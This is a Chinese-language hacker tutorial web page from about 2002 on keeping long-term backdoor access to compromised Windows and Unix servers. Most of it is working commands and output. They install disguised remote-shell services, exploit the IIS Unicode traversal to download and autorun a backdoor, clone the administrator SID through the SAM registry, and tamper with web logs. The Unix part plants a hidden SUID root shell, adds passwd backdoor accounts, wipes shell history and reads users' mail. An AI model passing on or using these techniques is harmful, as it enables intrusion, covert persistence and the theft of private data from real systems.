※黑客攻防指南※===>黑客入门==>尽可能久的后门
尽可能久的后门

一、利用长久服务:
前段时间做了一些肉鸡做跳板,辛辛苦苦上传了很多文件,但使用不到几天就被K了,漏洞也补上了,后来干脆不用跳板了!结果警告来了!痛定思痛!如何在肉鸡上留下后门达到长期使用的目的呢?今天早上在网上找了一早,也没有找出什么有用的东西!还是自己动手吧!我门通常使用nc,ncx,netcat等东西来开后门,但这些后门只是临时的,,主要用于得到Admin权限,能不能留下长期的后门呢?能!
我在这里介绍的只是如何制作后门,不打算介绍如何得到Admin权限!至于如何得到Admin,方法很多!U,SQL,溢出、ipc管道、暴力…………单有一点是肯定的,要留后门,必须有Admin权限。
我打算介绍用两种方法,确切的说是用两个软件!
第一:用小榕的remotenc。第二,用NT Shell 1.0 Beta,这两个软件的共同点是都能作为服务运行在远端服务器上!我使用下来感觉差不多!不过ntshell的功能远不止开后门,呵呵!很强大的工具!可以得到asp文件!这对想破江湖的人可是…………
再强调一点,one:太容易进入的主机不要作自己的跳板(除非你进去后留下后门把漏洞给补上)two:速度太慢和小型http服务器不要作自己的跳板。three:进入得到Admin权限后接下来要作的事:留后门--》做代理(就是snake的那个)--》补漏洞
以上三点属个人意见,供参考!
好了,说了半天的废话,我们开始用小榕的remotenc做我们的第一个跳板!
假设我们已经得到192.168.0.1的admin权限,user:hack password:123,并且192.168.0.1支持ipc$远程连接!(呵呵!废话!不能连接怎么作跳板!)在自己c:\hack下有remotenc,好,开始
c:\hack\remotenc 192.168.0.1 hack 123 runasuser "RemoteNC" "Provide Local CMD Redirect" 7 91888
解释:
remotenc 目标主机 用户名 密码 启动模式 "服务名称" "服务说明" 监听的端口
控制密码 /overwrite(注:可以不加该参数)
其中:
用户名必须是admin权限
启动模式有runasuser和localsystem两种(建议用runasuser模式,如果runasuser模式失败就用localsystem模式)
服务说明是启动后显示在服务管理器中的说明,为了迷惑管理员,建议不要用“hack”之类
监听的端口是remotenc作为服务启动以后开的监听端口,可以是7、8等,但不要是21、23、25、80等
控制密码:你telnet(或者ntshell)到监听端口后需要的密码,也就是你对remotenc的控制密码。(这里就不要要了哈!别这么小气三)
/overwrite覆盖已经安装的remotenc(不要覆盖我的哈)
回车后出现如下信息:
=======RemoteNC Beta 4, Written by Assassin 2001=======
http://www.netXeyes.comhttp://www.netXeyes.org

[Install Service as RunasUser Mode]
Connecting 192.160.0.1 ..... Done.
Transffer File ..... Done.
Start Service ..... Done.

Now You can Telnet 192.168.0.1 to Connect, Have a Joy

也可能出现:
=======RemoteNC Beta 4, Written by Assassin 2001=======
http://www.netXeyes.comhttp://www.netXeyes.org

[Install Service as RunasUser Mode]
Connecting 192.168.0.1 ..... Done.
Transffer File ..... Done.
Start Service ..... Service Exsited,1206Failed.
这是启动服务失败
这是可以把安装模式换为localsystem,即
c:\hack\remotenc 192.168.0.1 hack 123 localsystem "RemoteNC" "Provide Local CMD Redirect" 7 91888
就能安装成功!
如果出现第一中情况,祝贺你,然后
Microsoft Telnet> open 192.168.0.1 7
正在连接到192.168.0.1 7...
然后出现:
RemoteNC Control Password:(这里输入你的控制密码91888)
然后出现:
RemoteNC Control Password: *********

===============Banyet Soft Labs. 1995-2001 All RightsReserved.===============

=========Written by Assassin, Server EditionFluxShadow@21cn.com==============


Microsoft Windows 2000 [セ 5.00.2195]

RemoteNC>
哈哈,可以添加用户了!net命令就不用说了哈(即使hack 123的账户被K了,仍然可以telnet到7在remotenc下添加用户,只要他不发现在服务管理器中的Provide Local CMD Redirect,你就一直都有自己的账户!)拷贝必要的文件上去!twwwscan等(注意隐蔽),或者fshttp,fspop也加上去,哈哈真的很爽!也可作成自己的sock5代理。
添加完用户,启动他的telnet服务如果没有启动的话),又可以继续运行你的twwwacan等东西了!


第二种方法,利用NT Shell 1.0 Beta
为了讲述ntshell的详细用法,我详细讲述
一、ntshell分为客户端和服务端!服务端的名称为ntshell.exe,客户端ntshellc.exe
二、ntshell的语法:
内建的命令都是以'?'开头,在命令行上输入'?help'可以查看命令帮助列表,命令不分大小写。共有以下几个命令,其中由于标准的telnet不支持文件传输,因此前两个命令就是文件互传,必须使用附带的客户端才能实现。同时虽然在文件传输时,你可以运行其他命令,但是同一时刻只能有一个文件在传输(也就是前一个get,put,httpget命令没完成,就不能再执行这3个命令中的任意一个),这主要是因为我为了编程方便,而且我觉得也没必要多个文件同时传输,不过如果有必要,以后可以考虑。

?autorun [name file "args"] --- 将本程序添加到自动运行,将检查所有已知位
置(先是注册表);name是一个项名,file是程序名(当然也可以是其他
程序),args是程序的参数列表,一定要用""括起来。缺省是NTKernel
ntshell.exe "-w 10"。
?canceldata --- 终止刚才传输的文件
?chdir <dir> --- 更改服务器的当前目录,不加参数查看当前目录,可以是网上邻居中的共享
?get <file> [port] --- 从服务器下载文件,可以指定使用服务器使用[port]端口传输
?help --- 查看命令帮助列表
?httpget <host> <url> --- 从 'host'主机上下载文件 'url', 必须以根'/'开始
例如httpgethttp://192.168.0.1 / hackdir/hackprog.exe,可以没有http://

?pskill PID --- 杀死指定PID的进程

?pslist --- 列出当前系统中的所有进程,如果是guests组可能很多进程不能获得详细信息
?put <file> [port] --- 上传文件到服务器,可以指定使用服务器使用[port]端口传输
?quit --- 服务器端退出,相当于使用exit命令,不过如果执行
了copy con abc这样的坏内部命令,你就不能在使用exit命令
了,可以使用quit退出

?restart [<user> [pass]--- 以user身份重启动shell,不过本版本只能重起
shell,不能以指定的用户运行。原因是使用CreateProcessAsUser创建进
程时权限不足,即使原来是admin也不行
?sysinfor --- 获得系统的信息,现在只有os的简短信息



程序支持的参数为(使用'?use'参数可以查看该列表,不使用‘/?’或‘-?’来实现是因为一旦把它留在服务器上,敌方运行该程序查看到程序功能的话,就糟了)

ntshell [-listen Listenport] [-time Timeout] [-pass Password] [-show] [-wait WInterval] [-until time] [-last LInterval]

-listen Listenport --- 指定监听的端口,缺省值是22
-time Timeout --- 指定超时的秒数,缺省值是180
-pass Password --- 指定连接的口令,如果含有空格,使用" "包含口
令; 缺省值是"let me in"

-show ---显示一个console窗口,用户可以通过关闭该窗口结束本程序
-wait WInterval ---在程序运行后,先等待WInterval分钟,然后监听端口
-until hour:minu --- 在程序运行后,直到hour:minu时才监听端口
-last LInterval --- 在程序监听端口后,如果LInterval分钟内没有连接,将
结束程序

最后三项是为了增加程序的隐蔽性,以避免在通常情况下使用程序发现监听的进程

三、ntshellc的用法:
在没有连接的情况下,提示符是NTShellc>,此时可以使用以下的3个内建命令,命令均为小写。命令可以简写。

h[elp] ---- 显示支持的命令列表
o[pen] <target> [port] ---- 与target的port进行连接,port缺省值是22
q[uit] ---- 退出本程序


程序支持的两个参数,可以使用标准的'/?'参数查看该列表。如果不提供参数将进入NTShellc>提示符,然后可以使用open命令进行连接。

ntshellc [Target] [Port]

[Target] ---- 要连接的服务器
[Port] ---- 要连接的端口

四、实例

--NTShell使用示例


本示例仅为示范NTShell的功能与语法,因此使用unicode漏洞进行攻击试验。其中以'//'开头的行是我的注释,其他的是程序的输出。


//在本机运行客户端,
F:\hacktool\ntshell>ntshellc
NtShell Client Program.
> Type Help to see the commands

//连接目标计算机的www服务
NTShellc>o 192.168.0.1 80
> Connect to 192.168.0.1 at Port 80 ...
> Connected with the server.

//请求一个已知的文件
GET /iissamples/default%c1%1csamples.asp /HTTP/1.0

//找不到文件,IIS4.0,应该是%1%9c,
HTTP/1.1 404 找不到对象
Server: Microsoft-IIS/4.0
Date: Sat, 10 Feb 2001 15:08:26 GMT

//再来,
NTShellc>o 192.168.0.1 80
> Connect to 192.168.0.1 at Port 80 ...
> Connected with the server.

GET /iissamples/default%c1%9csamples.asp HTTP/1.0
//行了,找到了,
HTTP/1.1 200 OK

//下面要试试,哪些web目录在和系统在同一个逻辑盘上
GET /scripts/..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
//找到了,就用它了
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0

Directory of C:\Inetpub\scripts

01-01-09 02:58p <DIR> .
01-01-09 02:58p <DIR> ..
00-08-28 05:30p <DIR> proxy
00-08-28 05:30p <DIR> tools
4 File(s) 241,424 bytes
850,364,416 bytes free

> Connection closed

NTShellc>o 192.168.0.1 80

//拷贝cmd.exe
GET /scripts/..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+copy+\winnt\system3
2\cmd.exe+dmc.exe

//不理它, 1 file(s) copied. 没有访问拒绝就行
HTTP/1.1 502 网关错误
Server: Microsoft-IIS/4.0
Date: Wed, 07 Feb 2001 09:47:20 GMT
Content-Length: 190
Content-Type: text/html

<head><title>CGI 运用程序中出错</title></head>
<body><h1>CGI 错误</h1>指定的 CGI 应用程序因为没有返回完整的 HTTP 标题而运行不正
常。它返回的标题是:<p><p><pre> 1 file(s) copied.
</pre>
> Connection closed


//下面就方便了,赶紧把ntshell上传, 就使用ftp脚本吧,

GET /scripts/dmc.exe?/c+echo+open+192.168.0.45>ftp.bin
GET /scripts/dmc.exe?/c+dir
GET /scripts/dmc.exe?/c+echo+anonymous>>ftp.bin
GET /scripts/dmc.exe?/c+echo+test@test>>ftp.bin
GET /scripts/dmc.exe?/c+echo+binary>>ftp.bin--//一定要有这步,不然有的运行不正常
GET /scripts/dmc.exe?/c+echo+get+ntshell.exe>>ftp.bin
GET /scripts/dmc.exe?/c+echo+quit>>ftp.bin

//看看文件内容写的对不对,
GET /scripts/dmc.exe?/c+type+ftp.bin
HTTP/1.1 502 网关错误
Server: Microsoft-IIS/4.0
Date: Wed, 07 Feb 2001 14:57:14 GMT
Content-Length: 232
Content-Type: text/html

<head><title>CGI 运用程序中出错</title></head>
<body><h1>CGI 错误</h1>指定的 CGI 应用程序因为没有返回完整的 HTTP 标题而运行不正
常。它返回的标题是:<p><p><pre>open 192.168.0.45
anonymous
test@test
get ntshell.exe
quit
</pre>
> Connection closed


//好的,执行ftp
GET /scripts/dmc.exe?/c+ftp+-s:ftp.bin
GET /scripts/dmc.exe?/c+dir

Directory of C:\Inetpub\scripts

01-02-07 10:58p <DIR> .
01-02-07 10:58p <DIR> ..
98-11-11 04:04a 241,424 dmc.exe
01-02-08 12:24a 64 ftp.bin
01-02-08 12:25a 53,248 ntshell.exe
00-08-28 05:30p <DIR> proxy
00-08-28 05:30p <DIR> tools
7 File(s) 294,736 bytes
854,074,368 bytes free

//执行ntshell,
GET /scripts/ntshell.exe HTTP/1.0

//ctrl+c结束这个连接,退出程序。
//再次进入
F:\hacktool\ntshell>ntshellc
NTShellc>o 192.168.0.1
> Connect to 192.168.0.1 at Port 22 ...
> Connected with the server.
let me in

Use 'net helpmsg xxx' to see detail message of Error Code.

Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
//看看它的系统,
C:\Inetpub\scripts>?sysinfor
# Operation System is Windows NT 4.0,
# Build Number:1381
# Service Pack 4
//nt4+sp4的,去看看log文件
C:\Inetpub\scripts>cd c:\winnt\system32\logfiles
C:\WINNT\system32\LogFiles>cd w3svc1
cd w3svc1
拒绝访问。

//得,还没的看,以后再说吧;

C:\WINNT\system32>cd ..\repair
C:\WINNT\repair>dir
00-03-31 09:15p 3,544 sam._

//虽然有用的可能性很小,不过还是那回来试试吧,
C:\WINNT\system32>?get \winnt\repair\sam._
> download file 'sam._' 3544 bytes complete success.

//看看它都运行了什么程序,
C:\WINNT\system32>?pslist
# EnableDebugPrivileges Error, Code:1300
Process ID: 2 Query Process Detail infor Error
Process ID: 25 Query Process Detail infor Error
Process ID: 33 Query Process Detail infor Error
...
Process ID: 565 Query Process Detail infor Error
Process ID: 572 C:\Inetpub\scripts\ntshell.exe
Process ID: 466 C:\WINNT\System32\cmd.exe

# Total 42 processes in system.

//喔赛,都看不了,还有个1300是什么错误?用net看看
C:\WINNT\system32>net helpmsg 1300
net helpmsg 1300
并非所有被引用的特权都分配给调用者。

//看来guest的权限实在太小了,好在知道ntshell和它的cmd进程id,不行了可以杀


C:\Inetpub\scripts>?help
#?autorun [name file "args"] --- add the [file] to autorun when reboot,
[file] default is ntshell.exe

//可以自动运行,要试试,
C:\Inetpub\scripts>time
time
当前时间: 5:33:27.32
输入新时间:

//它的时间和我的差不多,行了

C:\Inetpub\scripts>?autorun ntshelld ntshell.exe "-until 2:00 -pass "a b c" -last 60"
# file 'C:\Inetpub\scripts\ntshell.exe' has added to autorun at
C:\WINNT\Profiles\All Users\「开始」菜单\程序\启动\ntshelld.lnk

//看来没在注册表中找到位置,到底在开始菜单中找到一个可以运行的地方,好了,等着系统重起动吧
//(一定注意参数作为一个字符串,使用" "括起来,不然可能就不对了。这个参数的意思是“程序//运行后,直到夜里2点开始监听连接,持续60分钟,连接后使用a b c作为口令”)

C:\Inetpub\scripts>del ftp.bin
C:\Inetpub\scripts>exit

NTShellc>q


//破解完了sam._,用里边的密码进行,net use无效,看来这个密码文件没什么用了,
//过两天在夜里2点到3点之间进行连接,看看成功否

NTShellc>o 192.168.0.1
> Connect to 192.168.0.1 at Port 22 ...
> Connected with the server.
//连上了,ok
a b c

C:\>cd winnt\system32\logfiles
C:\WINNT\system32\LogFiles>cd w3svc1
C:\WINNT\system32\LogFiles\W3SVC1>?get C:\WINNT\system32\LogFiles\W3SVC1\ex010205.log
//把记录改改,再给他put回去
C:\WINNT\system32\LogFiles\W3SVC1>?put ex010205.log

//好了,这台机器行了,在加个admin组的用户,
//把ntshell的客户端拿过来,再看看其他机器,

C:\WINNT\system32\LogFiles\W3SVC1>cd \inetpub\scripts
C:\Inetpub\scripts>?put ntshellc.exe

//运行它,
C:\Inetpub\scripts>ntshellc
NTShellc>o 192.168.0.45 80
> Connect to 192.168.0.45 at Port 80 ...
> Connected with the server.

GET / HTTP/1.0


HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Content-Location:http://192.168.0.45/index.html

//嗯,是台win2k+iis5, 如发炮制。

NTShellc>NTShellc>q

C:\Inetpub\scripts>


//想办法上传ntshell,并运行它,然后运行ntshellc进行连接
C:\Inetpub\scripts>ntshellc
NTShellc>NTShellc>o 192.168.0.45
> Connect to 192.168.0.45 at Port 22 ...
> Connected with the server.

D:\Inetpub\Scripts>cd \
cd \
//取看看log文件,是我连接的,还是192.168.0.1
D:\>cd winnt\system32\logfiles

cd winnt\system32\logfiles

D:\WINNT\system32\LogFiles>

D:\WINNT\system32\LogFiles>cd w3svc1

D:\WINNT\system32\LogFiles>cd w3svc1

D:\WINNT\system32\LogFiles\W3SVC1>D:\WINNT\system32\LogFiles\W3SVC1>type ex010208.log

D:\WINNT\system32\LogFiles\W3SVC1>type ex010208.log
#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 2001-02-08 02:04:40
#Fields: time c-ip cs-method cs-uri-stem sc-status
10:11:34 192.168.0.1 GET /index.html 200

D:\WINNT\system32\LogFiles\W3SVC1>time
time
当前时间: 10:18:42.97
输入新时间:

D:\WINNT\system32\LogFiles\W3SVC1>exit

exit

> Connection closed
NTShellc>NTShellc>


//ok, telnet跳板基本还可以,就是有时输出重复,一般一个命令得回车两次


二、克隆帐号
1...经常看到一些人在入侵一台Windows 2000或者Windows NT后堂而皇之地创建一个管理员组的用户,似乎当管理员不存在一般,今天偶违背一下偶以前的初衷,Share一个类似于RootKit的玩艺,当然,这些过程也是可以用脚本实现的,但是我就不写了,OK,Show Time Now。

首先要让大家知道的概念是在Windows 2000和Windows NT里,默认管理员帐号的SID是固定的500(0x1f4),那么我们可以用机器里已经存在的一个帐号将SID为500的帐号进行克隆,在这里我们选择的帐号是IUSR_MachineName(当然,为了加强隐蔽性,我们选择了这个帐号,所有用户都可以用以下的方法,只不过这个用户较常见罢了),测试环境为Windows 2000 Server。

运行一个System的CMD Shell( http://www.sometips.com/tips/scripts/173.htm 或使用 Http://www.sometips.com/soft/psu.exe),然后在该CMD Shell里面运行
regedit /e adam.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
这样我们将SID 为500的管理员帐号的相关信息导出,然后编辑adam.reg文件,将adam.reg文件的第三行--[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4]最后的"1F4"修改为IUSR_MachineName的SID(大部分的机器该用户的SID都为0x3E9,如果机器在最初安装的时候没有安装IIS,而自己创建了帐号后再安装IIS就有可能不是这个值),将Root.reg文件中的"1F4"修改为"3E9"后执行
regedit /s adam.reg
导入该Reg文件

然后运行
net user IUSR_MachineName Sometips
修改IUSR_MachineName的密码(最好使用14位的密码,越像IUSR_MachineName的密码越好)

OK,大功告成...

这样,我们拥有和默认管理员一样的桌面、一样的Profile.....
而且,当我们运行 net localgroup administrators 时,看看结果:
C:\>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
The command completed successfully.

再看看USER2SID的输出结果:
C:\>user2sid Administrator

S-1-5-21-1004336348-1078145449-854245398-500

Number of subauthorities is 5
Domain is IDONTKNOW
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser

C:\>user2sid iusr_machinename

S-1-5-21-1004336348-1078145449-854245398-1001

Number of subauthorities is 5
Domain is IDONTKNOW
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser

我想,再高明的管理员也看不到任何的异状了...而且,随便管理员改成什么密码,我照样可以用IUSR_MachineName,密码为Sometips登陆...(没有哪位大侠级的管理员喜欢经常修改IUSR_MachineName为其他的名字吧)

很多人提到使用了管理工具的用户管理后,能够发现IUSR_MachineName被提升了权限。
现给出解决办法。

方法同上,不过这次修改内容多一些。即
这次要导出两个key内容:
一个是adam提到的
regedit /e adam.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
然后另外一个是你需要修改那个账号的值
regedit /e iusr.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003E9

然后按照adam提到的修改adam.reg
“将adam.reg文件的第三行--[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4]最后的"1F4"修改为IUSR_MachineName的SID”

现在,你还要从iusr.reg文件中复制一下内容
就是将iusr.reg文件中“"V"=hex:0”开始一直到iusr.reg文件结束部分复制下来
然后替换掉adam.reg中同样位置的部分

最后使用
regedit /s adam.reg
导入该Reg文件
呵呵,别忘了给这个IUSR_MachineName改密码哦。
hehe,ok,大功告成。
现在IUSR_MachineName账号拥有了管理员的权限,但是你使用net.exe和
管理工具中的用户管理都将看不到任何痕迹,即使你去察看所属于的组和用户。
都和修改前没有任何区别。

2...利用 CA.exe: http://www.heibai.net/download/show.php?id=2360

利用SA.exe 将Iusr_victim克隆为Administrator。

C:\>ca \\192.168.0.1 test test iusr_victim password
Clone Administrator, by netXeyes 2002/04/06
Written by netXeyes 2002, dansnow@21cn.com

Connect 192.168.0.1 ....OK
Get SID of iusr_victim ....OK
Prepairing ....OK
Processing ....OK
Clean Up ....OK

这时,iusr_victim就成为了超级用户,并有具有和Administrator同样的设置(桌面、菜单等等)。

-------------------------------------------------------

用CCA.EXE检查是否存在克隆的帐号。
不必改变ACL, 支持远程检查。
C:\>cca \\192.168.0.29 administrator 123456
Check Clone Account, by netXeyes 2002/04/29
Written by netXeyes 2002, dansnow@21cn.com

Connect 192.168.0.29 ....OK
Prepairing ....OK
Processing ....OK
Checking ....

Check Result:

[DuDu] AS SAME AS [administrator]
[Guest] AS SAME AS [administrator]
[IUSR_RONG] AS SAME AS [administrator]
[IWAM_RONG] AS SAME AS [administrator]
[TEST] AS SAME AS [administrator]
[xr] AS SAME AS [administrator]
[Guest] AS SAME AS [DuDu]
[IUSR_RONG] AS SAME AS [DuDu]
这上面的DuDu,guest,IUSR_RONG等帐户就已经是被克隆为administrator啦

保持在主机上的权限
保持访问权限的方法有很多。虽然在你学习本文时,可能正将要失去在某些主机上的访问权
限,但我希望本文中的一些经验可以使你成为一名“坚固”的黑客。
一些诀窍

这里提供的一些“诀窍”可以帮助你保持在主机上的权限。一旦系统管理员发现了
你,他们会在一旁监视你和你在该系统上所做的每一件事,他们还会重新编译二进制文件、更改每
个用户的密码、拒绝来自你所在主机的访问、隐藏passwd和shadow档、检查有SUID的文件,等
等......

果你发现自己已经暴露了,不要试图再次闯入该系统。我就曾经目睹了一些人因为试图通过安
装特洛伊木马、使用其他帐号或以前所设置的“后门”再次获取权限而被捕。
仔细想一下,他们在监视你......你在系统中的一举一动、精心设计的程序都会他们知道!

万不要这样!请等待!当一个月后,他们会以为事情已经过去而放松警惕。这时,你就可以利
用他们遗漏的系统漏洞之一再次进入该系统,并尝试恢复你以前所做的工作。

OK。以下就是这些“诀窍”。

历史文件:
--------------
总是把你的.bash_history文件链接到/dev/null。否则,至少要编辑它。记,.bash_history
会记录你在退出登录前所输入的命令。举个例子,如果你编辑它,它就会记录到你正在
编辑它。你或许可以在另外的shell中编辑它,但这似乎有点多余,只要把它输出到/dev/null
就行了。

1. 如果在用户目录下有.bash_history文件,删除它。
2. 在用户根目录下输入命令:ln -s /dev/null .bash_history

“藏身”目录:
-----------------
总是在系统找一个目录作为你的文件的“藏身之所”。这里提供几个大多数用户几乎从来没有
浏览过的目录。

在用户根目录中寻找.term,在该目录下只有一个termrc可执行文件。系统管理员及其同类用
户都已惯于看到这个隐藏目录,但几乎从未进入此目录。如果你们进入了这个目录,你想他们对此
目录下的termrc可执行文件有何感想呢?对了。没有。。。因为他们认为这个文件正在它应该在的
地方。

好了。让我们把termrc变大一点,并加上suid权限。。。你明白其中的意思吧???我想你能
猜得到。;-) 然后切换到/bin目录并输入:
cp bash(或sh等之类的shell) ~username/.term/termrc
chown root ~username/.term/termrc
chgrp root~username/.term/termrc
chmod +s ~username/.term/termrc

现在,你有一个可以随时成为root用户的文件,而且不易被系统管理员发现。如果你希望做得
更好一点,可以修改文件日期,使其看起来是一个“旧”文件。

另外,还有一些是每个用户必有但却可能从未使用过的目录,如 .elm 、.term 、mail。你还
可以尝试建立“...”目录,由于它紧跟在两个特殊目录“.”和“..”之后,不易被察觉,因此是
简单可行的。当用ls -al察看时,显示如下内容:

1024 Jan 29 21:03 .
1024 Dec 28 00:12 ..
1024 Jan 29 21:03 ...
509 Mar 02 1996 .bash_history
22 Feb 20 1996 .forward
164 May 18 1996 .kermrc
34 Jun 06 1993 .less
114 Nov 23 1993 .lessrc
1024 May 18 1996 .term
1024 May 19 1996 public_html

看见它所处的位置了吗?

但如果使用 ls -l命令,只会显示如下内容:

1024 May 19 1996 public_html

记住,你也可以寻找一些具有很长名字的文件路径,而且一般没有人想进入它。利用它来作为
你的“藏身”目录,当然,你甚至可以在那里建立“..,”目录。;-)


制作新命令
--------------------
在你检查cron是否已经使用MD5加密后,你或许希望将所设计的程序复制到另一个不同的文件
以保存在系统中;以或者是覆盖一个你知道从未有人使用过的命令。复制文件时应注意修改文件日
期,不然迟早系统管理员都将修复系统,使你所设计的程序都是白费心机。

更好的方法是为所要使用的shell取另外的新名字,并使它具有suid权限。


增加或修改登录密码
---------------------------------
另一个可行的“后门”是在passwd档中增加新用户,并尽量使它看起来象是原来就有的。尽量
不要使用这个新用户密码,不要用它登录,只是在你失去了原有权限时才将它派上用场。

特点:这个用户不必是容易引起注意的root用户;你可以在任何需要的时候成为root用户。以
下是一个实例:

We want to make our account look like it belongs, so lets keep to thetop of
the file.

root:fVi3YqWnkd4rY:0:0:root:/root:/bin/bash
sysop:mZjb4XjnJT1Ys:582:200:System Operator:/home/sysop:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:65535:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash

以上这些已足够我们使用了,因此我只列出这些用户。

1. 查看用户operator、ftp和postmaster,所有这些帐号都可以执行shell,而且没有设置密
码。在你的shell中输入:

passwd postmaster

回车(entern)以设置其密码为空。这样,你就能在任何时候用这个帐号登录,
同时也不会引起引起系统管理员的怀疑。

2. 在passwd档中加入下面一行:

syst::13:12:system:/var/spool:/bin/bash

将该行放入文件内部(不会引起注意)。在密码部分::可以不进行设置,或者在
root shell中键入passwd syst以输入新密码。组和用户id可以随意设置。


3. 查看sync用户一行:

sync:*:5:0:sync:/sbin:/bin/sync

将其修改为:

sync:*:5:0:sync:/sbin:/bin/bash

然后运行 <passwd sync> 将密码设置为空(或其他)。在这个账号中gid=0。;-)


安装游戏
----------------

如果系统中装中游戏,你也可以安装一些可以利用的游戏,如doom、abuse。在附录中有可以利
用这些游戏取得root权限的程序。


保持监视
------------------

总是要知道系统中的管理员是谁。如何如何发现他们呢?可以查看passwd档中的
用户根目录、用户id、用户组或者阅读bash_history文件查看使用管理员命令的用户。
你还可以从这些历史文件中学到新的命令,不过,主要还是要知道谁在这个系统里。一定要很
熟悉你正在使用的系统;用su : 查找用户;浏览log文件以查看谁在使用管理员命令。

对系统保持监视。当你在系统中时,要注意别人。查看管理员命令历史记录,看看他们在使用
什么命令:tty端口监听?过多的ps命令?在ps或w或who命令后跟着finger命令说明他们正在监视
系统中其他用户。监视系统管理员,并要留意他们对系统中用户有多少了解。

阅读系统邮件

首先要记住:从不使用系统邮件程序。否则用户会知道你阅读了他们的邮件。我使用了一些方
法来阅读邮件。现在让我们来看一看:

1. cd /var/spool/mail

在此目录中保存着所有未阅读邮件和等待中的邮件。我们可以按照以下步骤阅读
邮件:

grep -i security * |more
grep -i hack * |more
grep -i intruder * |more
grep -i passwd * |more
grep -i password * |more

譬如你想查看pico用户名,可以键入ctrl+w来进行搜索。如果你看见有其他系统管理员有邮
件告诉系统管理员你正在使用某用户名从他们的服务器上攻击该系统,你当然可以删除它了。

有一个邮件阅读器,它允许你阅读邮件,但并不更新邮件标识(是否已读):

http://obsidian.cse.fau.edu/~fc

在那里有一个工具可以在不改变最后阅读日期的情况下显示/var/spool/mail中的邮件。
也就是说,他们(用户)根本不知道你已阅读过他们的邮件。

另外要记住,你可以在用户的目录下发现其他系统邮件。一定要检查/root目录。
检查/root/mail或username/mail或其它包含了以前邮件的目录。

祝你“狩猎”快乐。。。


--------------------------------------------------------------------------------

Root和Demon工具及特洛伊木马

Root工具是ps、login、netstat的c源程序,有时还有一些已经被“黑”过的程序以供你使用。
有了这些工具,就可以更换目标主机上的login文件,从而使你能够不用帐号就可以在目标主机上
登录。

你还可以修改ps,使你在系统管理员使用ps命令时不会暴露,还可以隐藏一些有明显含义的可
执行文件(如“sniff”开始的文件)在运行时的进程。

Demon工具提供了identd、login、demon、ping、su、telnet和socket的黑客程序。

特洛伊木马是那些可以让你在某些方面欺骗系统的程序。一个放在系统管理员目录下的su木马
程序,只要你改变了他的查找路径,su木马程序就能在真正的su程序前首先运行。在向其提示输入
错误密码,同时删除木马程序并保存其密码到/tmp目录下。

一个login木马程序可以将主机上所有的登录密码保存在一个文件中。我想你知道其中的含义了
吧。;-)

 

主目录 分目录

Copyright By「黑白网络工作室」2002 All Rights Reserve